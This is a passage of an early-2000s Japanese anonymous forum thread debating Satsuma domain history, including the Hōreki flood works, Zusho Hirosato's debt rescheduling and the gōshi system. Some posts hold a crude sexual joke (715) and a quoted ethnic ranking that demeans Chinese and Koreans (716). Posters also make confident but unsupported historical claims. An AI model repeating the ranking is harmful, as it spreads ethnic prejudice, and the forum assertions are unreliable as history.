支)そんなもん知るか、バ〜カ。
日)いや、あの、バカはないでょ、バカは?
支)バカでなきゃノータリンだ、文句あっか?
日)ウィーン条約にも抵触してますし・・・。
支)ガタガタ言ってんと北つついてテポドンぶちこむぞっ!こらあ。
日)いやあああ、そ、それだけはご勘弁を・・・。
支)じゃあ今回も指加えて黙って見てろ、このヘッポコ!
日)・・・・すいません。
てなことになんねえだろうな、お偉いさんよお。

691 :名無しさん@お腹いっぱい。:02/05/11 18:48 ID:EJWD9xQg
国家元首である共和国大統領は直接普通選挙によって選出され、任期は7年である。
(次期大統領より5年となる)現在のジャック・シラク大統領(2001年現在)は1995年5月7日、
第5共和政5人目の大統領となった。

大統領は総理大臣を任命し、総理大臣の提案に基づいて閣僚を任命する。
また、共和国大統領は軍の長である。
国民議会の解散を宣することができ、緊急事態における「特別権」をもつ。

一方首相は、政府の行動を指導し、法律の執行を保障する。
現在のリオネル・ジョスパン首相(2001年現在)は1997年6月2日に任命された。
http://www.langoo-net.com/cinfo-france1.htm

692 :名無しさん@お腹いっぱい。:02/05/11 19:57 ID:jSttY45J
>>690
当然そうなるよ。核持ってる奴に盾突ける訳無いじゃん。
他の核保有国が中国にガンくれない限りな。

693 :D:02/05/12 20:47 ID:QdmGTkbh
>>685
>>686

あのなあ、手抜きしてもわかるんだよ。
国際情勢板で敢えて宝暦治水と調所広郷の話題を持ち出す意図が分かってないじゃないか。
いいはなしだなあとかごくろーさんとしか言えないレベルで、どうして歴史から教訓を学んでると言えるんだ。
君たちの知性化はやりなおしだ。江戸開幕から宝暦あたりまでの歴代天皇の寿命でも調べてごらん。
宝暦治水と調所の天保改革が世界史に与えた影響に気づく事も出来ないから、歴史音痴なんだよ。

694 :D:02/05/13 01:05 ID:SoPKG5jU
それから、薩摩における農民と武士の関係についてだが、
ポリネシアやミクロネシア系の風俗を伝える薩摩の社会においては、大和民族の社会と異なる身分構造が成立していたとの事だ。
儒教的な兵農分離は江戸時代を通じて実現せず、農業や職人仕事で生計を立てていた武士が大勢いた。
例えば大工仕事などは武士にしか許されない職業とされ、民衆には「大工殿」などと敬称を義務づけていた。
江戸時代の武家は人口の9%程度にも関わらず、薩摩に限っては3〜4人に一人が武士階級だったのはこのような実状を反映したものだ。
民衆に対する収奪が苛烈だったのは事実だが、武家が肥え太っていた訳ではない事には気づいているようだな。
薩摩においては、武士は武士で大変な気苦労があったんだよ。
緊縮財政で俸禄は雀の涙だというのに、他国と比較しても割と簡単に切腹しなくてはならない危険に満ちた身分だしな。
西郷吉之助の弟である吉次郎が、国事は兄に任せて自分は農民として生きたがっていたのはそんな理由も有る訳だ。
歴史を考察する際には、断片的な情報ではとんでもない誤解を抱く危険がある。
歴史音痴を直したいなら覚えておく事だ。
でわ

695 : ◆yzlSeA0w :02/05/13 01:35 ID:AYHDfPER
>国際情勢板で敢えて宝暦治水と調所広郷の話題を持ち出す意図が分かってないじゃないか。

宝暦治水・・・弱い立場の国は泣き寝入りするしかない。切腹しても無意味なりよ。
調所広郷・・・権力者のモラルハザードの警鐘。
       翻って、軍国主義者たちもいきなり「250年かけて借金返すからね〜」などと言いだしかねない、注意注意なりよ〜。

っつう事でしょ?(w


696 :名無しさん@お腹いっぱい。:02/05/13 01:47 ID:maCShOJX
◆yzlSeA0wの歴史認識は小学生程度だというのがよく分かる。
愚者は経験に学ぶとはビスマルクの言葉だったか・・・

697 ::02/05/13 09:26 ID:N9qhADtA
>宝暦治水・・・弱い立場の国は泣き寝入りするしかない。切腹しても無意味なりよ。

30点。次に勝つ為の活路を求める事の重要さに気づいてないから、
負け犬みたいな意見を言うしかなくなるのだ。
そんな事では歴史から学んでいるとはとても言い難い。

>調所広郷・・・権力者のモラルハザードの警鐘。
       翻って、軍国主義者たちもいきなり「250年かけて借金返すからね〜」などと言いだしかねない、注意注意なりよ〜。

2点。薩摩武士道にモラルハザードなど存在しない。
調所の政策には20世紀以降の米国の覇権成立に通ずる一面がある。
そこに気づかなくては国際情勢を考える為に歴史から教訓を得ているとは言えない。


合計32点。不合格。

698 :通りすがり:02/05/13 11:12 ID:o5EU7RHK
平田弘史の「薩摩義士伝」は結局完結しなかったなあ。

699 :名無しさん@お腹いっぱい。:02/05/13 11:35 ID:cvJYW5x0
>>698マジ?5巻で打ち切りかよ。
マイナーリーグは辛いなあ…


700 : ◆yzlSeA0w :02/05/13 15:53 ID:AYHDfPER
>>697
>>調所広郷・・・権力者のモラルハザードの警鐘。
>        翻って、軍国主義者たちもいきなり「250年かけて借金返すからね〜」などと言いだしかねない、
>        注意注意なりよ〜。

>2点。薩摩武士道にモラルハザードなど存在しない。

ほう、そーですか。
調所広郷ってこういう施策を行った人なんだけどな。

借金500万両の踏み倒し術
http://www5d.biglobe.ne.jp/~nihonsi/zusyo.htm

701 :名無しさん@お腹いっぱい。:02/05/13 18:09 ID:hg6XoZQW
>>699
特に第1巻は日本漫画史上空前の迫力だと思っている。
3巻目以降は画力が衰えて悲しかった。

702 :名無しさん@お腹いっぱい。:02/05/13 18:28 ID:joL3YDZg
>>701
でもさ、ぶっちゃけた話、薩摩義士伝みたいな社会には余り住みたくないよな(藁
命が幾つあっても足りないよ。
武士よりも農民になりたいという気持ちは良く分かる。

703 :名無しさん@お腹いっぱい。:02/05/13 18:49 ID:A9lYbT2G
>>700
徳政令じゃあるまいし、どこがモラルハザードなんだかね。
債務処理可能な返済計画にシフトしてるだけじゃないか。
しかも廃藩置県で薩摩藩が消滅するまではきちんと金を返してるんだろ?
現代の自己破産なんかよりよっぽど筋を通してるっつーの。

704 : ◆yzlSeA0w :02/05/13 18:56 ID:AYHDfPER
>徳政令じゃあるまいし、どこがモラルハザードなんだかね。
>債務処理可能な返済計画にシフトしてるだけじゃないか。

徳政令そのものですが?
金利は返済しないという事を、権力をもって無理やり呑ませたんだから。

705 :名無しさん@お腹いっぱい。:02/05/13 19:02 ID:A9lYbT2G
>>704
徳政令は「全部チャラ」
区別できないのか?
金利を免除しなくては元本すら返済不可能な状態なら、モラルハザードでもなんでもない。
前向きな債務処理というものだ。
政府が都銀やダイエーに税金を注ぎ込むよりずっと筋が通ってる。
調所が私腹を肥やしていたと言う訳でもないのにどこがモラルハザードなんだ?

706 : ◆yzlSeA0w :02/05/13 19:09 ID:AYHDfPER
>金利を免除しなくては元本すら返済不可能な状態なら、モラルハザードでもなんでもない。
>前向きな債務処理というものだ。

それは債権者が言うべきことで、債務者が言える筋合いにはないんだが。

調所はお金を借りていた商人を呼んで、古い証文を書きかえて必ず返すことを約束をしました。古い証文を持ってきた商人たちは、それを彼に渡します。証文を受け取った調所は、すかさず商人たちの目の前で焼き捨て、新しい証文(通帳)を渡しました。
新しい証文を受け取った商人たちは、見てびっくり!借金は250年賦返済、つまり250年間で必ず返すと言うことです。しかも、無利子で元金だけ返すというものでした。気の遠くなるような返済期間!事実上の借金の踏み倒しです。
古い証文を焼き捨てた調所は、「この調所を生かすなり殺すなり勝手にせよ!」と居直ったと言います。もちろん武士を殺すことが許されない商人たちは泣き寝入り!この調所の踏み倒し術で薩摩藩は500万両の借金を250年間で返せばよいことになりました。

これがモラルハザードでなければ何なのですか?

707 :名無しさん@お腹いっぱい。:02/05/13 19:15 ID:H7LZMe7g
>それは債権者が言うべきことで、債務者が言える筋合いにはないんだが。

ハァ?一体何を言ってるんだ?
誰がどんな筋合いで言おうと、元本すら返って来ない状態より不満のある債権者が居る訳ないだろ?

現代社会の自己破産の方がよっぽどモラルハザードじゃねーか。

708 : ◆yzlSeA0w :02/05/13 19:27 ID:AYHDfPER
>誰がどんな筋合いで言おうと、元本すら返って来ない状態より不満のある債権者が居る訳ないだろ?

いいえ?
500万円貸して、一年に2万円ずつ返すという返済プランに不満を持たない債権者がどこにいるのですか?

709 :名無しさん@お腹いっぱい。:02/05/13 19:48 ID:UabmzfGy
>>708
何を言いたいのか良く分からないが、
返済可能な計画を実行するよりも、一銭も戻ってこない方がモラルハザードではないと言いたいのか?
今のサラ金でも、「千円づつでもいいから毎月返済してくれれば・・・」みたいな話はザラだよ。
債権者にすれば、元本も利子も戻ってこない徳政令より全然嬉しいに決まってる。

710 :名無しさん@お腹いっぱい。:02/05/13 20:11 ID:T4PAbMCo
◆yzlSeA0wは朝から晩まで毎日元気だな。
今はなき枢機郷の後任を立派に努めている。
これだけ同じ話をループし続けてよく疲れないものだ。

711 : ◆yzlSeA0w :02/05/13 20:16 ID:AYHDfPER
>債権者にすれば、元本も利子も戻ってこない徳政令より全然嬉しいに決まってる。

徳政令よりはマシだが、程度問題に過ぎないですが?
250年金利返済ナシの返済プランを権力を盾に呑まされたことを喜ぶ債権者がいますか?

712 : ◆yzlSeA0w :02/05/13 20:18 ID:AYHDfPER
>>710
>◆yzlSeA0wは朝から晩まで毎日元気だな。
>今はなき枢機郷の後任を立派に努めている。
>これだけ同じ話をループし続けてよく疲れないものだ。

全然疲れませんが?
同じ話をループさせてる人がいるから、反論しているだけですが?
私がウザかったら、同じ話をループさせるのをやめればいいんでない?

713 :名無しさん@お腹いっぱい。:02/05/13 20:26 ID:T4PAbMCo
>>712
いや、面白いからもっとやってくれ。
枢機郷が消えて以降、訳の分からん情熱に燃える脳内聖戦厨は人材不足なんだよ。

714 :名無しさん@お腹いっぱい。:02/05/13 20:50 ID:T4PAbMCo
>>711
破産して元本も戻らないよりマシだと言ってるのにな。
債権者にとっては一銭でも貸した金を回収できる方法が嬉しい方法なんだよ。
初歩的な算数だ。

715 :どうでもいいけど:02/05/13 21:43 ID:4poaNods
感想の再提出?えーとね。

おおぜいの さつま侍を女子なしでタコ部屋に押し込めるなんて、ひどい事するなあ、と思いました。
ばくふ役人はさつま侍のせいへきを知っていて、そんな事をしたんでしょうか?
きっと夜になるとタコ部屋は にくだんぶつかる あびきょうかんの男色じごくだったことでしょう。
参加したさつま侍が郷里に帰るころには、みんなリキまなくてもウンコがだだもれる身体になっていたにちがいありません。
ひどい事するなあ、ほんとひどいなあ。

たぶん切腹したさつま侍の中には、ばくふ役人にりょうじょくされた人もいたんじゃないかなあ?
そうしんて死んだともを追って、切腹したさつま侍もいたんだろうなあ。
しもつながりの さつま侍たちの友情って、かっこいいなあ。

やっぱり男色っていいとおもいました。

716 :どうでもいいけど@こんなんみつけた:02/05/13 21:44 ID:4poaNods
お国自慢板からの侵略者01/10/13 00:01 ID:???
地球全体で言っても
隼人>その他の日本人=台湾人=インドネシア人=パラオ人=アルゼンチン人等々親日国民>その他>中国人>朝鮮人
でしょ?

名無しさん@お腹いっぱい。01/10/13 00:09 ID:???
薩摩隼人って絶滅種なんじゃなかったの?
歴史の教科書みると純粋培養されてたみたいだもん。既に朱鷺状態なんじゃ・・・(藁 ,

名無しさん@お腹いっぱい。1,01/10/13 00:20 ID:???
高貴なる指導種族は希少なのです。あれほど偉大な民族が、そんなに大勢居る訳ない。
宝暦治水の際、工事完了とともに自発的に腹を切った薩摩藩士は数十名に上ったという。
何故だか理解出来ない人はご自分で調べて見る事をお勧めします。
大抵は、「何でそんな理由で切腹なんて出来るんだよ!!」と言いたくなる筈です。
実に凄まじい連中だとしか言いようがない。

717 :どうでもいいけど@こんなんみつけた:02/05/13 21:45 ID:4poaNods
397 名前:世界@名無史さん 投稿日:01/10/14 02:24
大航海時代以降の、全世界における白人支配の進行を妨げる事に寄与した島津斉彬と大久保利通、東郷平八郎、調所広郷。
この中の一人でも欠けていたら、いまだに世界中は白人の殖民地だらけ。もちろんその場合日本も含めてね。
乃木は「愚劣な将軍の無茶な命令にも絶対服従する、恐るべき日本陸軍の規律」を世界に知らしめた功績が大。
「白人以上に賢く戦う日本海軍」を実証した東郷同様、大きな影響を与えたと思われ。

401 名前:世界@名無史さん 投稿日:01/10/14 17:54
薩摩ファンかこいつ?

402 名前:世界@名無史さん 投稿日:01/10/14 20:06
>>400
>>401
愚問。
薩摩の4人なくして、有色人種の解放なし。

403 名前:DRX 投稿日:01/10/14 20:12
決闘の歴史において、薩摩の種子島彦之丞なるデュエリストの存在は特筆に値する。
数え年11歳(現代なら小学4年生)の時、同20歳の若者に決闘を申し込み、斬り殺している。

404 名前:世界@名無史さん 投稿日:01/10/14 20:24
203高地は、乃木の無能ぶりに業を煮やした大本営が児玉(鹿児島出身)を派遣して指揮をとらせてから、やっと攻略出来た。

718 :どうでもいいけど@こんなんみつけた:02/05/13 21:45 ID:4poaNods
408 名前:世界@名無史さん 投稿日:01/10/14 20:36
>>404
軍事板で詳細を聞いて来い。

409 名前:世界@名無史さん 投稿日:01/10/14 20:38
>>406
乃木が愚劣な将軍でないと仮定すると、太陽系に「愚劣な将軍」に該当する人物は存在しなくなります。

414 名前:世界@名無史さん 投稿日:01/10/14 20:53
>>409は「坂の上の雲」を見たに100ペソ。

417 名前:世界@名無史さん 投稿日:01/10/14 21:01
読もうが読むまいが、愚将は愚将でしょ?
交代したら、203高地は陥落したんだから。
名称ってのは、2倍の兵力を迎え撃ちながら、水雷艇3隻しか失わなかった東郷みたいのを指すんだしな。

455 名前:世界@名無史さん 投稿日:01/10/16 03:48
そんな大久保の大活躍を支えたのが、調所の財政再建ってワケだな。
金がないと薩英戦争の時点で薩摩はゲームオーバーしてた筈だからな。
つまり、薩長同盟で長州に武器を供給できず、明治維新もアウト。伊藤も山県も槍を手に戦死が関の山ってなもんか。

466 名前:世界@名無史さん 投稿日:01/10/16 20:46
世界史の大事件に大きく寄与したか否かが問題なので、
幕末あるいは江戸だから評価されるべきではない、
などと決め付けるのは固定観念でしかない。
調所なくして明治維新が有り得ないという考え方には、もっともな一面がある。
それをどう評価するかは、考え方次第。

547 名前:世界@名無史さん 投稿日:01/10/17 18:34
>>544
徳川体制下で仮想的扱いを260年も受け続けて、
名門との縁談や宝暦治水など、莫大な出費を立て続けに強いられた中で成功した財政再建が、些事末端だとでも?
にっちもさっちもいかなくなった島津重豪がとうとうキレちゃって、たまたま近くにいた茶坊主の調所に資金ぐりの責任者を任せたという、めちゃくちゃな経緯であるにも関わらず、
とうとう成功させた調所の偉大さは、世界を見渡しても相当なものだろ?
ちょっといないぞ、そんな奴。

719 :どうでもいいけど:02/05/13 21:50 ID:4poaNods
この薩摩贔屓の名無しの感想なら100点なのかなあ?

「桶屋が・・・」式のような気もするけどねえ。
それを言い出したら、島津氏の九州制圧を阻んだ秀吉も功労者だろうなあ。

720 :どうでもいいけど:02/05/13 22:02 ID:4poaNods
>>694
城下士が郷士をいぢめること、はなはだしかったといいますね。

では、薩摩侍は百姓をどう扱っていたんでしょうか?
あんまり百姓の待遇が良かったとは思えないです。

721 :名無しさん@お腹いっぱい。:02/05/13 22:08 ID:o53DLXL2
どうでもの情熱も訳分からんなあ。
一体みんな何と戦ってるんだ?

722 :どうでもいいけど:02/05/13 22:09 ID:4poaNods
スターリンの下痢と・・・
・・・・・・・NHK教育の話さ・・・

723 :D:02/05/13 22:28 ID:wpTYtuUB
コピペが取り留めなさすぎて何を言いたいのかさっぱり分からん。

ともあれ宝暦治水と調所からまともな教訓を学んでいる形跡はないな。

0点

724 :D:02/05/14 09:40 ID:6nFnN7Zi
今朝も値動きがなくて退屈だ。ちょっと知性化しとこう。

>城下士が郷士をいぢめること、はなはだしかったといいますね。
>では、薩摩侍は百姓をどう扱っていたんでしょうか?
>あんまり百姓の待遇が良かったとは思えないです。

上士と下士の反目という現象は、両者が戦国時代に敵対関係にあった国に目立つ。
薩摩の事情でいえば、島津氏が大勢力に成長する過程で帰順させた旧敵対勢力が主に下士とされたのだろう。
西郷の家もかつての名門菊池氏の末裔だが、薩摩では主君と言葉も交わせない軽格に落ちぶれていた。
薩摩の階級差別が厳格な一面を持っていたのは事実だ。上士にガンつけただけでも切り捨てられる当然の理由とされる。
よくこんな社会で270年間も下士が反乱を起こさなかったものだとは思わないかね?
一揆もしかり。農民が他国よりも苦しんでいたなら一揆の発生件数にも差が有る筈だ。
その辺の記録は調べてみたかね?
あらゆる現象には原因がある。半端な情報だけで真実を明らかにする事は難しいのだ。
だから歴史音痴が国際情勢を論ずる事は出来ないのだよ。

725 :名無しさん@お腹いっぱい。:02/05/14 18:42 ID:kg1S5c6R
最近元気な◆yzlSeA0wに失業者疑惑。
枢といいkoueiといい、肝心な事をしないで何を一生懸命なんだかね。

726 :どうでもいいけど:02/05/14 20:32 ID:rW464dOF
初代藩主家久は鹿児島の城山の麓(ふもと)に鶴丸城を築いたが、
天守閣や重層櫓(やぐら)のない質素なものであり、武士の城下町集中も徹底しなかった。
さらに、領内を113の外城(とじよう)(郷)に分けて軍事・行政支配の単位とする
特殊な外城制度(郷士(ごうし)制度)を敷いた。
このため武家人口は圧倒的に多く、明治初年の調査では全人口に占める士卒人口比は
全国平均の0.56%に対し薩摩藩のそれは26.38%に上っている。
また農村では、門(かど)とよばれる農民共同体に耕地をほぼ均等に分配して耕作させる
門割(かどわり)制度が施行された。
外城、門割の二制度によって農村支配は徹底し、藩内の百姓一揆(いつき)は
わずか二例が知られるにすぎない。

727 :どうでもいいけど:02/05/14 20:32 ID:rW464dOF
外城 とじょう→郷士
薩摩(さつま)藩島津氏の独特の行政区画。
1784年(天明4)郷(ごう)と改称。島津氏は、本拠鹿児島城のほかに領地である
薩摩・大隅(おおすみ)二国および日向(ひゆうが)国諸県(もろかた)郡を113に分け、
これを外城と称した(屋久(やく)島、口永良部(くちのえらぶ)島などを除く)。
城は一国一城令で廃されたが、その区域などは外城の呼称とともに戦国時代の旧制を
ほぼ継承している。
 豊臣(とよとみ)秀吉の九州征伐により、島津氏は薩・隅・日(諸県一郡)の
いわゆる三州に逼塞(ひつそく)することとなり、他藩に比して約3倍もの家臣を擁することとなった。
兵農分離の結果、武士は城下に集住し、農村は苗字帯刀(みようじたいとう)を
許された農民(名主(なぬし)、庄屋(しようや))が支配するのが一般的であったにもかかわらず、
薩摩藩では、これら多くの武士を農村(外城)に居住させて農耕自給の生活をさせ、
その支配者であるあつかい(天明(てんめい)以降、郷士年寄と称し、
慶応(けいおう)年間旧称に復す)組頭、庄屋などにも武士を任じた。
外城には、藩直轄の給地と、一所持(いつしよもち)(島津家一門または家老に任命される名門など)
の所領である私領とがあり、給地と私領との割合はおよそ三対二であった。

728 :どうでもいいけど:02/05/14 20:32 ID:rW464dOF
外城には、それぞれ地頭(じとう)仮屋(かりや)(役所)を設け、
その周辺に麓(ふもと)(府本)という武士集落がつくられた。
ここに集住する武士たちが外城衆中(天明以降、郷士)とよばれる。
その支配者は地頭と称し、島津氏直属の重臣であり、戦時に外城衆中を率いて
戦闘に従事するのが任務であった。
なお、私領の役所は領主仮屋、家臣は家来(けらい)とよばれた。
外城は、島津氏の縦割り統治の基本をなすもので、平時は貢租納入の単位であり、
戦時には一戦闘単位となり、とくに国境近くの数外城が連合して敵を防ぎ、
鹿児島城にある島津氏に戦闘準備の余裕を与えることが任務であった。

729 :どうでもいいけど:02/05/14 20:33 ID:rW464dOF
外城には数村ないし数十村があり、村には禄高(ろくだか)は多くても5〜6石の郷士が
庄屋として居住してつねに監視を怠らなかったので、
薩藩に百姓一揆(いつき)が絶無に近かったのはそのためといわれている。

 1784年(天明4)外城は郷と呼称を変え、外城衆中も郷士と称するようになった。
それまでは城下士との身分格差はなかったが、このころから半農半士の郷士は
一段と低い身分とみられるようになった。
また、同じく外城在住でも、私領の家来は陪臣(ばいしん)であるため郷士より一段低くみられ、
薩藩独特の宗門手札改帳にその名を記載するに際しても、郷士は年付御免であったのに対し、
家来は百姓同様年付であった。→郷士〈桃園恵真〉

730 :どうでもいいけど:02/05/14 20:33 ID:rW464dOF
このように鹿児島は災害危険地帯に立地しているとはいえ、
住んでいる以上災害に対処し食べていかなければならない。
しらす土壌で地味が痩せ、水田に不適な農業生産性に乏しい土地である。
しかも毎年のように集中豪雨があり台風に襲われる。
さつまいもや大豆・粟などの畑作に力を入れたのも窮余の一策だったに違いない。
「しらす畑にゃよう、カライモ(さつまいものこと)植えろよ、台風が吹いたとてさあ、土の中よ」
という訳である。
もう一つが琉球・奄美の収奪と南方貿易であることは言うまでもない。
本来の稲作は小規模集約でいくしかなかった。
庄内平野のように
「本間様には及びもせぬが、せめてなりたや殿様に」
と唄われたような富農は出るべくもない。
等しく貧しいのである。
そこで土地割替制度(門割制度)が取られることとなる。
固定した私有地を耕作するのではなく、クジで数年ごとに土地を割り当てる制度である。
災害危険を均等負担しようとの発想であろう。
その際特筆すべきことは、洗出と呼ばれるしらす台地を穿つ谷筋を避けて割り振ったことである。
ここは土石流の通路であり、こんなところを農地にしたら壊滅的打撃を受けることを
経験的に知っていたからである。

731 :どうでもいいけど:02/05/14 20:33 ID:rW464dOF
 その他、薩摩藩独特の制度に外城制がある。
薩摩藩は全国比率の6倍にも及ぶ膨大な士族を抱えていた。
外様大名であるから旧領安堵されたとはいえ安心できない。
いざという時には力で対抗しようと有事に備えたのであろう。
77万石、天下第二の雄藩と言われたが、しらす台地ばかりで実質は貧しい。
こうした家臣団を養うためには屯田制度を実施せざるを得なかった。
平素は農耕に従事し、一朝事ある時には出城に拠って戦闘配置についたのである。
このような下級士族は郷士と呼ばれ、鶴丸城下に住む城下士と区別されたが、
同時に百姓より上に立つ士族として遇し、その集落を麓 と称した。
差別を持ち込むことによって百姓一揆を押さえつけ民を支配する巧妙な手段でもあった。
薩摩の小京都として名高い知覧武家屋敷群は麓集落の典型である。
麓は中世の山城の近傍(麓)に立地していることが多い。
交通の要衝にあり、かつ水が得やすく農耕にも適している。
一国一城令が厳格に守られていた時代にどうして薩摩だけが例外を認められていたのであろうか。
当然幕府は巡見使を派遣し、出城を破壊して堀を埋め元の山野に還すよう要求してきた。
その時、薩摩藩は
「城ヲ崩シ堀ヲウメ、其土田畑ヲウヅム時ハ、飢ニ及バン事不便ナレバ…」
と弁解した。
城を崩すと土砂災害が起きて田畑が荒れるからというものである。
苦肉の策だったかも知れないが、なかなか巧い口実を持ち出したものだ。
自然災害を外交の駆け引きに使ったしたたかさには感心するしかない。
結局、幕府は例外を認めざるを得なかった。
http://www4.justnet.ne.jp/~fung/disaster/bunka_r.html

732 :どうでもいいけど:02/05/14 20:49 ID:FYtyhbtp
>>724
一揆も出来ないほどに、圧政を受けていたらしい・・・。

薩摩藩の圧政は、財政の逼迫が主な要因なんだろうが、
薩摩武士、というか島津氏の性質にも理由があるような”気”がする。
もっとも、その見事な圧政をもって、「島津氏は名君続きであった」と言うことも出来るのだろうが。
・・・秀吉に降伏する以前の、島津の支配体制を調べるかもしれないが、それは大変そうだな・・・。

なんか知ってる?

733 :D:02/05/14 21:24 ID:mDjdo0ti
やれば出来るじゃないか。なかなかいいぞ。ちょっと指導しとこう。

>外城には数村ないし数十村があり、村には禄高(ろくだか)は多くても5〜6石の郷士が
>庄屋として居住してつねに監視を怠らなかったので、
>薩藩に百姓一揆(いつき)が絶無に近かったのはそのためといわれている。
という記述をもって、
>一揆も出来ないほどに、圧政を受けていたらしい・・・。
と結論づけるのが単純すぎる。
そもそも秀吉が刀狩り等の政策で兵農分離を徹底した動機が分かってないのかね?
年俸5〜6石程度の郷士という存在は、早い話農業などで生計を立てないと飢え死に必至の薄給を意味する。
彼らを武装解除せずに一応士分として遇し続ける事の危険性が分かってないのかな?
郷士や農民の反発をほぼ完全に封殺できた程に、城下士の兵力が圧倒的だったとでも思うのかい?
圧政という見解は当時の薩摩の事情を一面的にしか捉えていないからそう見える。
薩摩では城下士も貧乏に苦しんでいた事が誰の目にも常識だったから、下層階級が反発する事は少なかったのだよ。
それを圧政というのは少し変ではないかな?
重豪が贅沢で財政を圧迫していたというのは事実だが、宝暦治水との関連について推理すれば、ただの愚行だったと決め付ける事にも疑問が湧いてくる。
もうちょっと頑張って調べてごらん。あとお忘れのようだが宝暦までの歴代天皇の寿命はどうだった?
ちゃんと理由のあるヒントを出してるんだから意味を考えてくれ。

734 :どうでもいいけど:02/05/14 22:18 ID:rW464dOF
第百六代 正親町天皇
崩御・文禄2年(1593)1月5日(77歳)

第百七代 後陽成天皇
崩御・元和3年(1617)8月26日(47歳)

第百八代 後水尾天皇
崩御・延宝8年(1680)8月19日(89歳)

第百九代 明正天皇
崩御・元禄9年(1696)11月10日(74歳)

第百十代 後光明天皇
崩御・承応3年(1654)9月20日(22歳)

第百十一代 後西天皇
崩御・貞享2年(1685)2月22日(49歳)

第百十二代 霊元天皇
崩御・享保17年(1732)8月6日(79歳)

第百十三代 東山天皇
崩御・宝永6年(1709)12月17日(35歳)

第百十四代 中御門天皇
崩御・元文2年(1737)4月11日(37歳)

第百十五代 桜町天皇
崩御・寛延3年(1750)4月23日(31歳)

第百十六代 桃園天皇
崩御・宝暦12年(1762)7月12日(22歳)

735 :どうでもいいけど:02/05/14 22:20 ID:rW464dOF
意味ねえ?
天皇の寿命なんてマチマチのようだが・・・。

736 :どうでもいいけど:02/05/14 22:52 ID:rW464dOF
>>733
えーと。
いずれにせよ、島津氏が見事な支配体制を築き上げたというのは間違い無いでしょう。
それだけ名君が続いたということなのでしょう。
(幕府の干渉が比較的少なかったも幸いしたのでしょうがね)

歴史に「もし」はないですが、島津氏が薩摩に押し込められず、最盛期の版図をたもっていたとしても、
やはり見事な支配体制を築き、「農民を生かさぬよう殺さぬよう」的な圧政を敷いたのではないでしょうか?

それと、
薩摩武士道の命題には「お先師の言う事には絶対服従」があったはずです。
それは反乱防止の意味合いもあったんでしょうかね?
(なんでも大久保利通も西郷隆盛もこれに縛られ、気に病んでいたらしいですねえ)

737 :D:02/05/14 23:58 ID:ZYRvOtSS
>(幕府の干渉が比較的少なかったも幸いしたのでしょうがね)
全然逆だって。しょうがないなあ。
江戸時代になってからの島津家に持ち掛けた縁談でも調べてみればいい。
幕府がいかにあの手この手で島津家の財力を削ぐかに全力を挙げているかに気づかなくては話にならん。
にも関わらず宝暦になるまで薩摩に対してお手伝い普請を命じる事はなかった。
お手伝い普請は露骨な強権発動だった為に、
さすがの幕府も戦が怖くて宝暦期になるまでは命じる事が出来なかったんだよ。

お先師云々はまさにそのとおり。というか現代に至るまでその気風を残しているくらいだ。
しかし決して目上の者が理不尽な無理難題を強いる事を無制限に許可するようなものではない。
お先師とは上士下士といった表向きの階級とは別な「裏の上下関係」とでもいうべきものだ。
ここが薩摩の社会について考える時に重要な注意が必要な点だが、大和民族の社会とは異なり、
南方の流れを汲む隼人の社会では儒教的な公式の階級とは別な社会構造が同時に並立していたのだよ。
上士と下士の階級差があったにも関わらず、幕末には政策決定にあたって、
城下士である小松帯刀が事実上西郷や大久保の指図に従って行動したのはその象徴でもある。
ぶっちゃけて言えば、筋のとおった意見を言う者はそれなりに一目置かれる実力主義的な社会でもあったのだ。
身分の低い調所が家老に上り詰めたのもその証拠。

738 :D:02/05/15 00:00 ID:gkaigNM5
ただ付け加えると、江戸時代というのは薩摩に限らず結構そういう事例は多かった。
身分間の移動は結構頻繁に発生していた事は明らかになっている。
江戸時代には身分差別が過酷で抑圧的な社会だったというのは左翼勢力の喧伝した嘘に過ぎない。
貧乏のあまり武士階級の資格である御家人株を百姓町人に売ってしまう武士が居た一方で、
そこいらの大名以上に莫大な財産を築いたえた非人階級の者もいたのだからな。

最後に、天皇の寿命に関しては注意が足りない。明らかに夭折が増えているだろ。
今夜はこの辺で勘弁してあげます。
でわ。

739 :名無しさん@お腹いっぱい。:02/05/16 22:03 ID:Ydfy+BY+
隊長、赤軍Zは闘争しました。

740 :名無しさん@お腹いっぱい。:02/05/16 22:16 ID:FufU7qdD
そういえば、どうでもいいけども闘争したのか?
屁理屈をこねる為に歴史を歪曲しても無駄と悟ったか・・・?

741 :闘争ワッショイ! ◆yyZketsQ :02/05/16 22:23 ID:IsSDy/Fq
  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  ||        |////
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_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_||____|////

                       Λ_Λ   逃げろーー
                       (___)
                     /〔    〕〕つ
           うわああああ   `/二二ヽ
             Λ_Λ     / /(_)
             (; ´∀`)   (_)
            // /  ^ ̄]゚
            ゚/ ̄ ̄_ヽ
           /_ノ(_)           ___
           (__)             ヽ===ノ
                           ¶(    )  まてーーー
                           ⊂〔:__〕
                            ┌|___|
                            (_ノ ヽ ヽ
                               (_)


742 :名無しさん@お腹いっぱい。:02/05/16 22:26 ID:ASQbxB4M
居るじゃん。
別にAAも良いが、たまには議論もやってみれば?

743 :どうでもいいけど:02/05/16 22:47 ID:84iY/40A
>>(幕府の干渉が比較的少なかったも幸いしたのでしょうがね)
>全然逆だって。しょうがないなあ。

竹姫とかですな。
では、「江戸から遠いため、比較的、幕府の目が届きにくかった」と改めてみましょう。

>しかし決して目上の者が理不尽な無理難題を強いる事を無制限に許可するようなものではない。

西郷も大久保も、藩主を裏切ってますからねえ。
(もっとも、斉彬のほうに忠実だった、ということなんだろうが)
しかし、上士は郷士を手ひどく差別した、というのも事実でしょう?
その差別を”当然”と考え、甘んじて服従する郷士も多かったらしいですね。
・・・やっぱり、かなりのマインドコントロールがあったんじゃないですか?

>身分間の移動は結構頻繁に発生していた事は明らかになっている。
>江戸時代には身分差別が過酷で抑圧的な社会だったというのは左翼勢力の喧伝した嘘に過ぎない。

まあ、識字率の異常な高さを考えても、生活に余裕があったらしいことはうかがえますがね。
しかし、国や地域によって程度の差が、ずいぶんあったのでしょうがね。
薩摩はどうだったのかな?
抑圧的じゃなくて、百姓は鼓腹撃壌だったのかな?

>最後に、天皇の寿命に関しては注意が足りない。明らかに夭折が増えているだろ。

127歳とか143歳などの長寿の天皇もいたらしいですが、2・30歳でくたばる天皇も普通にいたようなんですが?
(宝暦事件等の心労があったにせよ、心労から無縁の天皇なんて少なかったでしょうな)
それとも誰かがやったらしいのと同じく、暗殺でもされていたんですか?

744 :どうでもいいけど:02/05/16 23:11 ID:84iY/40A
そろそろ、マジレスしてみますか・・・

きょーくんきょーくん

宝暦治水・
